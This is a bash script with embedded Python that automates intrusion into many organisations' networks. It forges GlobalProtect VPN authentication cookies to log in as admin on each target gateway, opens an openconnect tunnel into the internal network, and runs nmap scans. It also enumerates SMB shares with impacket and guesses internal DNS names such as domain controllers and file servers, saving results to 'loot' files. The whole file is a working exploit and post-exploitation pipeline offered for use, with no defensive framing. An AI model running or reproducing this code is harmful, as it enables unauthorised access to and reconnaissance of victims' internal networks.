#!/bin/bash
cd /root/recon
SUM=loot/inside_summary.tsv
OUT=loot/inside2
mkdir -p $OUT
LOG=loot/inside2_summary.tsv
[ -f $LOG ] || printf 'ip\tdomain\tsmb\tservices\tdns_extra\n' > $LOG

awk -F'\t' 'NR>1 && ($5 ~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/ || $8 ~ /:445/) {print $1"|"$2"|"$5}' $SUM > /tmp/pass2.txt
awk -F'\t' 'NR>1{print $1}' $LOG > /tmp/pass2_done.txt
echo "pass2 targets: $(wc -l < /tmp/pass2.txt)"

while IFS='|' read -r IP DOM DNS; do
  [ -z "$IP" ] && continue
  grep -qx "$IP" /tmp/pass2_done.txt && continue
  F=$OUT/$IP.txt; : > $F
  echo "=== $IP $DOM dns=$DNS" | tee -a $F
  OUT2=$(/root/pt/bin/python3 - "$IP" <<'PY'
import re,sys
sys.path.insert(0,'/root/recon')
import forge_cookie as fc, urllib.parse, urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ip=sys.argv[1].strip()
try:
    certs=fc.get_all_public_keys(ip,443)
except Exception:
    sys.exit(0)
for c in certs[:3]:
    cand=fc.forge_cookie(c.public_key(),'admin',host_id='PC')
    b=urllib.parse.urlencode({'prot':'https','server':ip,'inputStr':'','jnlpReady':'jnlpReady','ok':'Login','direct':'yes','clientVer':'4100','user':'admin','passwd':'','context':'gateway','clientos':'Windows','clientgpversion':'6.0.0','host-id':'PC','computer':'PC','os-version':'Windows 10','portal-userauthcookie':cand,'portal-prelogonuserauthcookie':''}).encode()
    r=urllib.request.Request('https://%s/ssl-vpn/login.esp'%ip,data=b,method='POST')
    r.add_header('Content-Type','application/x-www-form-urlencoded')
    try: t=urllib.request.urlopen(r,context=ctx,timeout=20).read().decode()
    except Exception: continue
    a=re.findall(r'<argument>(.*?)</argument>',t,re.S)
    if len(a)>5: print('%s|%s'%(a[1],a[3])); break
PY
)
  AC=${OUT2%%|*}; GW=${OUT2##*|}
  if [ -z "$AC" ]; then echo LOGINFAIL | tee -a $F
    printf '%s\t%s\t\t\t\n' "$IP" "$DOM" >> $LOG; continue; fi
  PIN=$(timeout 8 openconnect --protocol=gp --user=admin --servercert=pin-sha256:AAAA --non-inter "$IP" </dev/null 2>&1 | grep -oE 'pin-sha256:[^ ]+' | head -1 | sed 's/.*pin-sha256://')
  timeout 150 openconnect --protocol=gp --user=admin --cookie="user=admin&authcookie=$AC&portal=$GW&domain=&computer=PC" --servercert=pin-sha256:$PIN --non-inter --script=/usr/share/vpnc-scripts/vpnc-script "$IP" > /tmp/oc2_$IP.log 2>&1 &
  P=$!
  for i in $(seq 1 10); do sleep 2; grep -q 'Configured as' /tmp/oc2_$IP.log && break; done
  if ! grep -q 'Configured as' /tmp/oc2_$IP.log; then echo TUNNEL_FAIL | tee -a $F
    printf '%s\t%s\t\t\t\n' "$IP" "$DOM" >> $LOG; kill $P 2>/dev/null; sleep 1; continue; fi

  HOSTS="$DNS"
  FIRST=$(awk -F'\t' -v ip=$IP '$1==ip{print $8}' $SUM | tr ',' '\n' | grep -oE '^[0-9.]+' | head -2 | tr '\n' ' ')
  HOSTS="$HOSTS $FIRST"
  echo "  hosts: $HOSTS" | tee -a $F

  SMB=""; SVC=""; DNX=""
  for H in $HOSTS; do
    [ -z "$H" ] && continue
    R=$(nmap -sT -Pn -n --open -p 21,22,25,53,80,88,135,139,389,443,445,636,1433,3306,3389,5985,8080,8443,8443,9000 --host-timeout 60s --max-retries 1 "$H" 2>/dev/null | grep -E '^[0-9]+/tcp' | awk '{print $1" "$3}' | tr '\n' ',')
    [ -n "$R" ] && { echo "  nmap $H: $R" | tee -a $F; SVC="$SVC$H=[$R];"; }
    case "$R" in *445*) 
      SM=$(/root/pt/bin/python3 - "$H" <<'PY'
import sys
from impacket.smbconnection import SMBConnection
h=sys.argv[1]
try:
    c=SMBConnection(remoteName=h, sess_port=445, timeout=15)
    print('%s|%s|%s|signing=%s' % (c.getServerName(), c.getServerOS(), c.getServerDomain(), c.isSigningRequired()))
    try:
        shares=[s.get_sharedname() for s in c.listShares()]
        print('  shares: ' + ','.join(shares))
    except Exception:
        pass
    c.close()
except Exception as e:
    print('smbfail %s' % type(e).__name__)
PY
)
      echo "  smb $H: $SM" | tee -a $F
      SMB="$SMB$H=($SM);"
    esac
  done
  if [ -n "$DNS" ] && [ -n "$DOM" ]; then
    for q in dc dc01 dc1 fileserver fs01 fs02 file01 exchange mail print rdp ts sql gitlab sharepoint helpdesk hr intranet owa remote apps; do
      A=$(timeout 3 dig +short +time=2 +tries=1 @$DNS "$q.$DOM" A 2>/dev/null | head -1 | tr '\n' ',')
      [ -n "$A" ] && { echo "  dns $q.$DOM -> $A" | tee -a $F; DNX="$DNX$q=$A;"; }
    done
    echo "  ptr $DNS: $(timeout 5 dig +short +time=3 +tries=1 @$DNS -x $DNS 2>/dev/null | head -1)" | tee -a $F
  fi
  printf '%s\t%s\t%s\t%s\t%s\n' "$IP" "$DOM" "$SMB" "$SVC" "$DNX" >> $LOG
  kill $P 2>/dev/null
  sleep 2
done < /tmp/pass2.txt
echo "PASS2 DONE"
